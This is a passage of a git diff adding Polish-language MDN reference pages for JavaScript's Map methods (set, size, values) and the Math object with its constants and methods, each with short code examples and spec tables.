Ponieważ set() zwraca ten sam obiekt typu Mapa, można użyć chainingu (uruchamianie metod jedna po drugiej na danym obiekcie przy użyciu kropek).

+ +
// Dodawanie elementów do mapy za pomocą chainingu
+myMap.set('bar', 'foo')
+     .set(1, 'foobar')
+     .set(2, 'baz');
+
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.set', 'Map.prototype.set')}}{{Spec2('ES2015')}}Definicja początowa.
{{SpecName('ESDraft', '#sec-map.prototype.set', 'Map.prototype.set')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność z przeglądarkami

+ + + +

{{Compat("javascript.builtins.Map.set")}}

+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/map/size/index.html b/files/pl/web/javascript/reference/global_objects/map/size/index.html new file mode 100644 index 0000000000..0ec1025e46 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/map/size/index.html @@ -0,0 +1,65 @@ +--- +title: Map.prototype.size +slug: Web/JavaScript/Referencje/Obiekty/Map/size +tags: + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Map/size +--- +
{{JSRef}}
+ +

Atrybut size zwraca ilość elementów znajdujących się w obiekcie {{jsxref("Map")}}.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-size.html")}}
+ + + +

Opis

+ +

Wartość size to liczba reprezentująca ile elementów posiada obiekt Map. Funkcja set dla size to undefined; nie można edytować tego atrybutu.

+ +

Przykłady

+ +

Użycie size

+ +
var myMap = new Map();
+myMap.set('a', 'alpha');
+myMap.set('b', 'beta');
+myMap.set('g', 'gamma');
+
+myMap.size // 3
+
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-get-map.prototype.size', 'Map.prototype.size')}}{{Spec2('ES2015')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-get-map.prototype.size', 'Map.prototype.size')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność

+ + + +

{{Compat("javascript.builtins.Map.size")}}

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/map/values/index.html b/files/pl/web/javascript/reference/global_objects/map/values/index.html new file mode 100644 index 0000000000..50a7d72d0f --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/map/values/index.html @@ -0,0 +1,77 @@ +--- +title: Map.prototype.values() +slug: Web/JavaScript/Referencje/Obiekty/Map/values +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Mapa + - Metodă + - Prototyp +translation_of: Web/JavaScript/Reference/Global_Objects/Map/values +--- +
{{JSRef}}
+ +

Metoda values() zwraca nowy obiekt typu Iterator, który zawiera wartości dla każdego elementu w Mapie. Można się do nich odnieść w takiej kolejności, jakiej zostały wstawione.

+ +
{{EmbedInteractiveExample("pages/js/map-prototype-values.html")}}
+ + + +

Składnia

+ +
myMap.values()
+ +

Zwracana wartość

+ +

Nowy iterator obiektu typu {{jsxref("Map")}}.

+ +

Przykłady

+ +

Używanie values()

+ +
var myMap = new Map();
+myMap.set('0', 'foo');
+myMap.set(1, 'bar');
+myMap.set({}, 'baz');
+
+var mapIter = myMap.values();
+
+console.log(mapIter.next().value); // "foo"
+console.log(mapIter.next().value); // "bar"
+console.log(mapIter.next().value); // "baz"
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('ES2015', '#sec-map.prototype.values', 'Map.prototype.values')}}{{Spec2('ES2015')}}Definicja początkowa.
{{SpecName('ESDraft', '#sec-map.prototype.values', 'Map.prototype.values')}}{{Spec2('ESDraft')}} 
+ +

Kompatybilność z przeglądarkami

+ + + +

{{Compat("javascript.builtins.Map.values")}}

+ +

Zobacz również

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/abs/index.html b/files/pl/web/javascript/reference/global_objects/math/abs/index.html new file mode 100644 index 0000000000..c3b333a4ce --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/abs/index.html @@ -0,0 +1,54 @@ +--- +title: Math.abs() +slug: Web/JavaScript/Referencje/Obiekty/Math/abs +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/abs +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca wartość bezwzględną danej liczby.

+ +

Math.abs(x)=|x|={xifx>00ifx=0-xifx<0{\mathtt{\operatorname{Math.abs}(x)}} = {|x|} = \begin{cases} x & \text{if} \quad x \geq 0 \\ -x & \text{if} \quad x < 0 \end{cases}

+ +

Składnia

+ +
Math.abs(x)
+ +

Parametry

+ +
+
x 
+
liczba.
+
+ +

Opis

+ +

Ponieważ abs jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.abs(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.abs()

+ +

Poniższa funkcja zwraca wartość bezwzględną zmiennej x:

+ +
Math.abs('-1'); // 1
+Math.abs(-2); // 2
+Math.abs(null); // 0
+Math.abs('string'); // NaN
+Math.abs(); // NaN
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/acos/index.html b/files/pl/web/javascript/reference/global_objects/math/acos/index.html new file mode 100644 index 0000000000..afb1485ada --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/acos/index.html @@ -0,0 +1,59 @@ +--- +title: Math.acos() +slug: Web/JavaScript/Referencje/Obiekty/Math/acos +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/acos +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca arcus cosinus (w radianach) danej liczby.

+ +

x[-1;1],Math.acos(x)=arccos(x)= the unique y[0;π]such thatcos(y)=x\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.acos}(x)} = \arccos(x) = \text{ the unique } \; y \in [0; \pi] \, \text{such that} \; \cos(y) = x

+ +

Składnia

+ +
Math.acos(x)
+ +

Parametry

+ +
+
x 
+
liczba.
+
+ +

Opis

+ +

Metoda acos zwraca wartość numeryczną od 0 do pi dla x pomiędzy -1 a 1. Jeśli liczba x jest spoza przedziału [-1, 1], zwracany jest {{jsxref("NaN")}}.

+ +

Ponieważ acos jest statyczną metodą obiektu Math, zawsze odwołujemy się do niej poprzez Math.acos(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.acos()

+ +

Poniższa funkcja zwraca arcus cosinus zmiennej x:

+ +
Math.acos(-2);  // NaN
+Math.acos(-1);  // 3.141592653589793
+Math.acos(0);   // 1.5707963267948966
+Math.acos(0.5); // 1.0471975511965979
+Math.acos(1);   // 0
+Math.acos(2);   // NaN
+ +

Jeśli do getAcos przekazana zostanie wartość -1, funkcja zwróci 3.141592653589793; jeśli przekazana zostanie wartość 2, zwrócony zostanie NaN, ponieważ 2 jest poza zakresem (tj. dziedziną funkcji arcus cosinus).

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/asin/index.html b/files/pl/web/javascript/reference/global_objects/math/asin/index.html new file mode 100644 index 0000000000..e473586a49 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/asin/index.html @@ -0,0 +1,58 @@ +--- +title: Math.asin() +slug: Web/JavaScript/Referencje/Obiekty/Math/asin +tags: + - JavaScript + - Math +translation_of: Web/JavaScript/Reference/Global_Objects/Math/asin +--- +

{{jsref}}

+ +

Podsumowanie

+ +

Zwraca arcus sinus (w radianach) danej liczby.

+ +

x[-1;1],Math.asin(x)=arcsin(x)= the unique y[-π2;π2]such thatsin(y)=x\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.asin}(x)} = \arcsin(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \sin(y) = x

+ +

Składnia

+ +
Math.asin(x)
+ +

Parametry

+ +
+
x 
+
liczba.
+
+ +

Opis

+ +

Metoda Math.asin() zwraca wartość liczbową pomiędzy -π2-\frac{\pi}{2} i π2\frac{\pi}{2} radianów dla x z przedziału [-1, 1]. Jeśli x jest poza tym zakresem, zwracany jest NaN.

+ +

Ponieważ asin jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.asin(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.asin()

+ +

Poniższa funkcja zwraca arcus sinus zmiennej x:

+ +
Math.asin(-2);  // NaN
+Math.asin(-1);  // -1.5707963267948966 (-pi/2)
+Math.asin(0);   // 0
+Math.asin(0.5); // 0.5235987755982989
+Math.asin(1);   // 1.570796326794897 (pi/2)
+Math.asin(2);   // NaN
+ +

Jeśli do funkcji getAsin przekazana zostanie wartość 1, funkcja ta zwróci 1.570796326794897 (pi/2); jeśli przekazana zostanie wartość 2, funkcja zwróci {{jsxref("NaN")}}, ponieważ 2 jest poza dziedziną funkcji arcus sinus.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/atan/index.html b/files/pl/web/javascript/reference/global_objects/math/atan/index.html new file mode 100644 index 0000000000..4e452e1f13 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/atan/index.html @@ -0,0 +1,51 @@ +--- +title: Math.atan() +slug: Web/JavaScript/Referencje/Obiekty/Math/atan +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca arcus tangens (w radianach) danej liczby.

+ +

Math.atan(x)=arctan(x)= the unique y[-π2;π2]such thattan(y)=x\mathtt{\operatorname{Math.atan}(x)} = \arctan(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \tan(y) = x

+ +

Składnia

+ +
Math.atan(x)
+ +

Parametry

+ +
+
x 
+
liczba.
+
+ +

Opis

+ +

Metoda atan zwraca wartość liczbową pomiędzy -π2-\frac{\pi}{2} i π2\frac{\pi}{2} radianów.

+ +

Ponieważ atan jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.atan(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.atan()

+ +
Math.atan(1);  // 0.7853981633974483
+Math.atan(0);  // 0
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/atan2/index.html b/files/pl/web/javascript/reference/global_objects/math/atan2/index.html new file mode 100644 index 0000000000..81f4606036 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/atan2/index.html @@ -0,0 +1,63 @@ +--- +title: Math.atan2() +slug: Web/JavaScript/Referencje/Obiekty/Math/atan2 +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan2 +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca kąta (w radianach) utworzony przez oś OX i prostą przechodzącą przez punkt o podanych współrzędnych.

+ +

Składnia

+ +
Math.atan2(y, x)
+ +

Parametry

+ +
+
y, x 
+
liczby.
+
+ +

Opis

+ +

Metoda atan2 zwraca wartość liczbową pomiędzy -π a π, reprezentującą kąt theta punktu (x, y). Kąt ten, mierzony w radianach, został utworzony przez dodatnią oś OX i punkt (x,y), z obrotem w kierunku przeciwnym do ruchu wskazówek zegara. Należy zwrócić uwagę na to, że pierwszym argumentem tej funkcji jest współrzędna y, a x jest argumentem drugim.

+ +

Do metody Math.atan2() przekazywane są osobno argumenty x i y, podczas gdy do metody atan przekazywany jest stosunek tych dwóch wartości.

+ +

Ponieważ atan2() jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.atan2(), a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.atan2()

+ +
Math.atan2(90, 15); // 1.4056476493802699
+Math.atan2(15, 90); // 0.16514867741462683
+
+Math.atan2(±0, -0);               // ±PI.
+Math.atan2(±0, +0);               // ±0.
+Math.atan2(±0, -x);               // ±PI for x > 0.
+Math.atan2(±0, x);                // ±0 for x > 0.
+Math.atan2(-y, ±0);               // -PI/2 for y > 0.
+Math.atan2(y, ±0);                // PI/2 for y > 0.
+Math.atan2(±y, -Infinity);        // ±PI for finite y > 0.
+Math.atan2(±y, +Infinity);        // ±0 for finite y > 0.
+Math.atan2(±Infinity, x);         // ±PI/2 for finite x.
+Math.atan2(±Infinity, -Infinity); // ±3*PI/4.
+Math.atan2(±Infinity, +Infinity); // ±PI/4.
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/ceil/index.html b/files/pl/web/javascript/reference/global_objects/math/ceil/index.html new file mode 100644 index 0000000000..8e48d70931 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/ceil/index.html @@ -0,0 +1,49 @@ +--- +title: Math.ceil() +slug: Web/JavaScript/Referencje/Obiekty/Math/ceil +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/ceil +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca najmniejszą liczbę całkowitą większą od lub równą danej.

+ +

Składnia

+ +
Math.ceil(x)
+ +

Parametry

+ +
+
x 
+
liczba.
+
+ +

Opis

+ +

Ponieważ ceil jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.ceil(), a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.ceil()

+ +

Poniższa funkcja zwraca wartość metody ceil dla zmiennej x:

+ +
Math.ceil(.95);   // 1
+Math.ceil(4);     // 4
+Math.ceil(7.004); // 8
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/cos/index.html b/files/pl/web/javascript/reference/global_objects/math/cos/index.html new file mode 100644 index 0000000000..6634e7d96e --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/cos/index.html @@ -0,0 +1,52 @@ +--- +title: Math.cos() +slug: Web/JavaScript/Referencje/Obiekty/Math/cos +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/cos +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca cosinus danej liczby.

+ +

Składnia

+ +
Math.cos(x)
+ +

Parametry

+ +
+
x 
+
liczba.
+
+ +

Opis

+ +

Metoda cos zwraca wartość liczbową pomiędzy -1 a 1, która reprezentuje cosinus kąta.

+ +

Ponieważ cos() jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.cos(), a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.cos()

+ +
Math.cos(0);           // 1
+Math.cos(1);           // 0.5403023058681398
+
+Math.cos(Math.PI);     // -1
+Math.cos(2 * Math.PI); // 1
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/e/index.html b/files/pl/web/javascript/reference/global_objects/math/e/index.html new file mode 100644 index 0000000000..76659e8c1d --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/e/index.html @@ -0,0 +1,40 @@ +--- +title: Math.E +slug: Web/JavaScript/Referencje/Obiekty/Math/E +tags: + - JavaScript + - Math + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Math/E +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Stała Eulera stanowiąca podstawę logarytmów naturalnych, w przybliżeniu 2.718.

+ +

Math.E=e2.718\mathtt{\mi{Math.E}} = e \approx 2.718

+ +

Opis

+ +

Ponieważ E jest statyczną własnością obiektu Math, zawsze odwołujemy się do niej poprzez Math.E, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.E

+ +

Poniższa funkcja zwraca e:

+ +
function getNapier() {
+   return Math.E;
+}
+
+getNapier(); // 2.718281828459045
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/exp/index.html b/files/pl/web/javascript/reference/global_objects/math/exp/index.html new file mode 100644 index 0000000000..f7bc13ecbb --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/exp/index.html @@ -0,0 +1,49 @@ +--- +title: Math.exp() +slug: Web/JavaScript/Referencje/Obiekty/Math/exp +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/exp +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca ex, gdzie x to argument, a e to {{jsxref("Math.E", "stała Eulera", "", 1)}}, podstawa logarytmu naturalnego.

+ +

Składnia

+ +
Math.exp(x)
+ +

Parametry

+ +
+
x 
+
liczba.
+
+ +

Opis

+ +

Ponieważ exp jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.exp(), a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.exp()

+ +
Math.exp(-1); // 0.36787944117144233
+Math.exp(0);  // 1
+Math.exp(1);  // 2.718281828459045
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/floor/index.html b/files/pl/web/javascript/reference/global_objects/math/floor/index.html new file mode 100644 index 0000000000..3fea41b72f --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/floor/index.html @@ -0,0 +1,46 @@ +--- +title: Math.floor() +slug: Web/JavaScript/Referencje/Obiekty/Math/floor +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/floor +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca największą liczbę całkowitą mniejszą od lub równą danej.

+ +

Składnia

+ +
Math.floor(x)
+ +

Parametry

+ +
+
x 
+
liczba.
+
+ +

Opis

+ +

Ponieważ floor jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.floor(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.floor()

+ +
Math.floor( 45.95); //  45
+Math.floor(-45.95); // -46
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/index.html b/files/pl/web/javascript/reference/global_objects/math/index.html new file mode 100644 index 0000000000..350fb3a7de --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/index.html @@ -0,0 +1,94 @@ +--- +title: Math +slug: Web/JavaScript/Referencje/Obiekty/Math +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Math +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Wbudowany obiekt zawierający własności i metody związane z funkcjami i stałymi matematycznymi. Na przykład własność {{jsxref("Math.PI", "PI")}} obiektu Math zawiera wartość liczby pi.

+ +

Tworzony przez

+ +

Obiekt Math w języku JavaScript jest predefiniowanym obiektem najwyższego poziomu. Można z niego korzystać od razu, bez korzystania z konstruktora lub wywoływania tworzącej metody.

+ +

Opis

+ +

Wszystkie własności i metody obiektu Math są statyczne. Do stałej pi odwołujemy się poprzez Math.PI, a funkcję sinus wywołujemy jako Math.sin(x), gdzie x jest argumentem metody. Stałe zdefiniowane są z pełną precyzją liczb rzeczywistych JavaScriptu.

+ +

Czasami wygodniej jest skorzystać z polecenia {{jsxref("with")}}, kiedy w pewnym fragmencie kodu wykonywane jest wiele obliczeń korzystających z metod i stałych obiektu Math. Unika się wtedy wielokrotnego wpisywania "Math". Na przykład:

+ +
with (Math) {
+   a = PI * r*r;
+   y = r*sin(theta);
+   x = r*cos(theta);
+}
+
+ +

Własności

+ +
+
{{jsxref("Math.E")}}
+
stała Eulera, podstawa logarytmu naturalnego, w przybliżeniu 2.718.
+
{{jsxref("Math.LN2")}}
+
logarytm naturalny liczby 2, w przybliżeniu 0.693.
+
{{jsxref("Math.LN10")}}
+
logarytm naturalny liczby 10, w przybliżeniu 2.302.
+
{{jsxref("Math.LOG2E")}}
+
logarytm o podstawie 2 z liczby E, w przybliżeniu 1.442.
+
{{jsxref("Math.LOG10E")}}
+
logarytm o podstawie 10 z liczby E, w przybliżeniu 0.434.
+
{{jsxref("Math.PI")}}
+
stosunek obwodu okręgu do jego średnicy, w przybliżeniu 3.14159.
+
{{jsxref("Math.SQRT1_2")}}
+
pierwiastek kwadratowy z liczby 1/2, albo, inaczej mówiąc, odwrotność pierwiastka kwadratowego z liczby 2, w przybliżeniu 0.707.
+
{{jsxref("Math.SQRT2")}}
+
pierwiastek kwadratowy z liczby 2, w przybliżeniu 1.414.
+
+ +

Metody

+ +
+
{{jsxref("Math.abs()")}}
+
zwraca wartość bezwzględną danej liczby.
+
{{jsxref("Math.acos()")}}
+
zwraca arcus cosinus (w radianach) danej liczby.
+
{{jsxref("Math.asin()")}}
+
zwraca arcus sinus (w radianach) danej liczby.
+
{{jsxref("Math.atan()")}}
+
zwraca arcus tangens (w radianach) danej liczby.
+
{{jsxref("Math.atan2()")}}
+
zwraca kąt (w radianach) utworzony przez oś OX i prostą przechodzącą przez punkt o podanych współrzędnych.
+
{{jsxref("Math.ceil()")}}
+
zwraca najmniejszą liczbę całkowitą większą od lub równą danej.
+
{{jsxref("Math.cos()")}}
+
zwraca cosinus danej liczby.
+
{{jsxref("Math.exp()")}}
+
zwraca Ex, gdzie x to argument, a E to stała Eulera.
+
{{jsxref("Math.floor()")}}
+
zwraca największą liczbę całkowitą mniejszą od lub równą danej.
+
{{jsxref("Math.log()")}}
+
zwraca logarytm naturalny (tj. o podstawie E) z danej liczby.
+
{{jsxref("Math.max()")}}
+
zwraca większą z dwóch liczb.
+
{{jsxref("Math.min()")}}
+
zwraca mniejszą z dwóch liczb.
+
{{jsxref("Math.pow()")}}
+
zwraca daną liczbę podniesioną do danej potęgi.
+
{{jsxref("Math.random()")}}
+
zwraca liczbą pseudolosową z przedziału [0, 1).
+
{{jsxref("Math.round()")}}
+
zwraca daną liczbę zaokrągloną do najbliższej liczby całkowitej.
+
{{jsxref("Math.sin()")}}
+
zwraca sinus danej liczby.
+
{{jsxref("Math.sqrt()")}}
+
zwraca pierwiastek kwadratowy danej liczby.
+
{{jsxref("Math.tan()")}}
+
zwraca tangens danej liczby.
+
diff --git a/files/pl/web/javascript/reference/global_objects/math/ln10/index.html b/files/pl/web/javascript/reference/global_objects/math/ln10/index.html new file mode 100644 index 0000000000..7b05143a06 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/ln10/index.html @@ -0,0 +1,42 @@ +--- +title: Math.LN10 +slug: Web/JavaScript/Referencje/Obiekty/Math/LN10 +tags: + - JavaScript + - Math + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN10 +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Logarytm naturalny liczby 10, w przybliżeniu 2.302.

+ +

Math.LN10=ln(10)2.302\mathtt{\mi{Math.LN10}} = \ln(10) \approx 2.302

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Opis

+ +

Ponieważ LN10 jest statyczną własnością obiektu Math, zawsze odwołujemy się do niej poprzez Math.LN10, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.LN10

+ +

Poniższa funkcja zwraca logarytm naturalny liczby 10:

+ +
function getNatLog10() {
+   return Math.LN10;
+}
+
+getNatLog10(); // 2.302585092994046
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/ln2/index.html b/files/pl/web/javascript/reference/global_objects/math/ln2/index.html new file mode 100644 index 0000000000..aed4335b9f --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/ln2/index.html @@ -0,0 +1,40 @@ +--- +title: Math.LN2 +slug: Web/JavaScript/Referencje/Obiekty/Math/LN2 +tags: + - JavaScript + - Math + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN2 +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Logarytm naturalny liczby 2, w przybliżeniu 0.693

+ +

Math.LN2=ln(2)0.693\mathtt{\mi{Math.LN2}} = \ln(2) \approx 0.693

+ +

Opis

+ +

Ponieważ LN2 jest statyczną własnością obiektu Math, zawsze odwołujemy się do niej poprzez Math.LN2, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.LN2

+ +

Poniższa funkcja zwraca logarytm naturalny liczby 2:

+ +
function getNatLog2() {
+   return Math.LN2;
+}
+
+getNatLog2(); // 0.6931471805599453
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/log/index.html b/files/pl/web/javascript/reference/global_objects/math/log/index.html new file mode 100644 index 0000000000..14e292b04f --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/log/index.html @@ -0,0 +1,54 @@ +--- +title: Math.log() +slug: Web/JavaScript/Referencje/Obiekty/Math/log +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/log +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca logarytm naturalny (o podstawie {{jsxref("Math.E", "e")}}) z danej liczby.

+ +

x>0,Math.log(x)=ln(x)=the uniqueysuch thatey=x\forall x > 0, \mathtt{\operatorname{Math.log}(x)} = \ln(x) = \text{the unique} \; y \; \text{such that} \; e^y = x

+ +

Składnia

+ +
Math.log(x)
+ +

Parametry

+ +
+
x 
+
liczba.
+
+ +

Opis

+ +

Jeśli wartość liczby x jest ujemna, zwracaną wartością jest zawsze {{jsxref("NaN")}}.

+ +

Ponieważ log() jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.log(), a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.log()

+ +

 

+ +
Math.log(-1); // NaN, out of range
+Math.log(0);  // -Infinity
+Math.log(1);  // 0
+Math.log(10); // 2.302585092994046
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/log10e/index.html b/files/pl/web/javascript/reference/global_objects/math/log10e/index.html new file mode 100644 index 0000000000..33765632e0 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/log10e/index.html @@ -0,0 +1,44 @@ +--- +title: Math.LOG10E +slug: Web/JavaScript/Referencje/Obiekty/Math/LOG10E +tags: + - JavaScript + - Math + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG10E +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Logarytm o podstawie 10 z E, w przybliżeniu 0.434.

+ +

Math.LOG10E=log10(e)0.434\mathtt{\mi{Math.LOG10E}} = \log_10(e) \approx 0.434

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

 

+ +

Opis

+ +

Ponieważ LOG10E jest statyczną własnością obiektu Math, zawsze odwołujemy się do niej poprzez Math.LOG10E, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.LOG10E

+ +

Poniższa funkcja zwraca logarytm o podstawie 10 z E:

+ +
function getLog10e() {
+   return Math.LOG10E;
+}
+
+getLog10e(); // 0.4342944819032518
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/log2e/index.html b/files/pl/web/javascript/reference/global_objects/math/log2e/index.html new file mode 100644 index 0000000000..29d465fe42 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/log2e/index.html @@ -0,0 +1,42 @@ +--- +title: Math.LOG2E +slug: Web/JavaScript/Referencje/Obiekty/Math/LOG2E +tags: + - JavaScript + - Math + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG2E +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Logarytm o podstawie 2 z E, w przybliżeniu 1.442.

+ +

Math.LOG2E=log2(e)1.442\mathtt{\mi{Math.LOG2E}} = \log_2(e) \approx 1.442

+ +
{{js_property_attributes(0, 0, 0)}}
+ +

Opis

+ +

Ponieważ LOG2E jest statyczną własnością obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.LOG2E, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.

+ +

Przykłady

+ +

Przykład: Zastosowanie Math.LOG2E

+ +

Poniższa funkcja zwraca logarytm o podstawie 2 z E:

+ +
function getLog2e() {
+   return Math.LOG2E;
+}
+
+getLog2e(); // 1.4426950408889634
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/math/max/index.html b/files/pl/web/javascript/reference/global_objects/math/max/index.html new file mode 100644 index 0000000000..40946461d5 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/math/max/index.html @@ -0,0 +1,43 @@ +--- +title: Math.max() +slug: Web/JavaScript/Referencje/Obiekty/Math/max +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/max +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Zwraca największą z podanych liczb.

+ +

Składnia

+ +
Math.max([value1[, value2[, ...]]])
+ +

Parametry

+ +
+
value1, value2, ...
+
liczby.
+
+ +

Opis

+ +

Ponieważ max jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.max(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.

+ +

Przykłady

+ +

